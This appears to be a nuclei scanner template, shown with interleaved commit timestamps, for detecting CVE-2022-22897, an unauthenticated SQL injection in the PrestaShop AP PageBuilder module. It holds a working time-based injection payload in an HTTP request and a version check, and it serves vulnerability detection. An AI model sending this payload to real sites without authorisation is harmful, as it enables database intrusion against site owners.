nuclei-templates/http/cves/2022/CVE-2022-22897.yaml

62 lines
2.2 KiB
YAML
Raw Normal View History

2023-07-13 16:54:13 +00:00
id: CVE-2022-22897
info:
name: PrestaShop Ap Pagebuilder <= 2.4.4 SQL Injection
author: mastercho
2023-08-02 03:53:57 +00:00
severity: critical
2023-07-13 16:54:13 +00:00
description: |
2023-08-02 03:53:57 +00:00
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
2023-07-13 16:54:13 +00:00
reference:
2023-08-02 03:53:57 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
2023-07-13 16:54:13 +00:00
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
2023-08-02 03:53:57 +00:00
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
2023-07-13 16:54:13 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-22897
cwe-id: CWE-89
2023-10-14 11:27:55 +00:00
epss-score: 0.04685
epss-percentile: 0.91737
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
2023-07-13 16:54:13 +00:00
metadata:
verified: true
2023-09-06 11:59:08 +00:00
max-request: 2
2023-08-31 11:46:18 +00:00
vendor: apollotheme
product: ap_pagebuilder
2023-09-06 11:59:08 +00:00
framework: prestashop
shodan-query: http.component:"Prestashop"
2023-08-31 11:46:18 +00:00
tags: packetstorm,cve,cve2022,prestashop,sqli,unauth
2023-07-13 16:54:13 +00:00
http:
- raw:
- |
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer: {{RootURL}}
2023-07-13 16:54:13 +00:00
X-Requested-With: XMLHttpRequest
2023-07-13 17:04:28 +00:00
2023-07-13 16:54:13 +00:00
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
2023-08-18 16:06:49 +00:00
- |
GET /modules/appagebuilder/config.xml HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: version
2023-08-18 16:09:23 +00:00
part: body_2
2023-08-18 16:06:49 +00:00
internal: true
group: 1
regex:
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"
2023-07-13 16:54:13 +00:00
matchers:
- type: dsl
dsl:
2023-08-18 16:06:49 +00:00
- 'duration_1>=6'
- 'status_code_2 == 200 && compare_versions(version, "<= 2.4.4")'
condition: and
# digest: 4a0a00473045022008adcd5f8f0cd9de1596238479f5fc206fd4ad2a316f3f41fedc01f8827f0417022100e99d74eee42ce1ef240bb84360bfbd89623ad1ee50f05da332f7f5939347c328:922c64590222798bb761d5b6d8e72950